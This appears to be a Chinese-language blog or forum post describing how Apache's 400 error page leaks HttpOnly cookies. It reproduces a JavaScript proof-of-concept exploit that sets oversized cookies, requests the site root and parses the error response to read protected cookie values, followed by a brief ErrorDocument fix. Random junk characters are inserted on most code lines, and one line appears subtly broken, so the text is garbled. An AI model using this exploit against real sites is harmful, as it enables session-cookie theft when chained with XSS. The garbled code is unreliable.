Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


8 R' Y. C* c# W* B// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
8 Z2 @& g2 |' ?0 bvar str = "";
+ P6 R. ^) i3 l& s# q, c+ n0 q3 Yfor (var i=0; i< 819; i++) {
' q1 H5 O; w' i/ \str += "x";
' o. Z7 b8 u9 \4 ~) g}
( ?5 |5 t5 h: v: Q// Set cookies
" E6 h& G: V& c2 Zfor (i = 0; i < 10; i++) {
: p1 p. Y4 u5 n" l2 i# m' n' _) d! l// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
( T+ _& n8 ?1 W: B// Set evil cookie
else {
" W1 |. ]+ A3 u2 K0 svar cookie = "xss"+i+"="+str+";path=/";
}
5 K. S9 n( t+ y0 {: _  Idocument.cookie = cookie;
* V7 L" R0 {: D- t9 B}
: q+ `0 b9 D. y6 s+ A" u}
2 n8 w; T$ J+ Y  V/ Ffunction makeRequest() {
3 S, M2 F, w3 F+ k2 V3 E( ]# IsetCookies();
# Q  j2 H! N  C% _function parseCookies () {
" w) }- l- K' ]) f  b4 v3 Svar cookie_dict = {};
9 t0 X4 m- I) n! M// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
# Y; j6 i  p( w3 [, b5 d5 uvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
* C. K" w1 `9 O7 Q! V$ {' z2 n; w" ~  uif (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
& w4 O! o3 u$ Y+ W* q. ?$ r1 l% kfor (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
* C/ }: w" n7 p4 T; DsetCookies(true);
1 w6 J. V- ]2 u% n* Z1 talert(JSON.stringify(cookie_dict));
}
5 p. H, x9 M: K! X+ p" u6 _}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
* v  S: u( n. F% c4 @. Hxhr.open("GET", "/", true);
xhr.send(null);
0 {# X' Z2 c* n$ g# Y}
) b: }0 j) `9 y. R" z( fmakeRequest();

: Q$ B6 O: n  j1 K& b& _/ i你就能看见华丽丽的400错误包含着cookie信息。
- U( B2 C% M5 v1 w) T8 I- N9 h
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

; {6 m1 S. t% \. Y& v3 v修复方案：

) z' r# c3 [3 r4 K/ @Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
! d- x9 h. h/ ~7 r2 Q& v
; F3 L" I, U0 C, uIn the event of a problem or error, Apachecan be configured to do one of four things,
9 ~% o1 n" L( V8 T  u! x% s
# J: y# {0 w7 r+ U/ _) h' ~1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
6 }8 M8 k/ n- [4 w" _4 E2. output acustomized message输出一段信息
  ]9 q& X2 x# o. A3 v3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

Apache配置：
$ w8 J" p! K0 y9 N* M; I
# b( d  u/ w: G! S, M# ZErrorDocument400 " security test"
5 e( z; R3 L# E$ {% A
: u, a6 k/ c: i2 Q6 I- g$ }1 ]4 M当然，升级apache到最新也可：）。

. C" D1 Q$ A6 `( K6 C' R9 \% S# ^参考：http://httpd.apache.org/security/vulnerabilities_22.html
& @# m4 `2 @6 G1 O" {
& r) _2 v# F/ {; W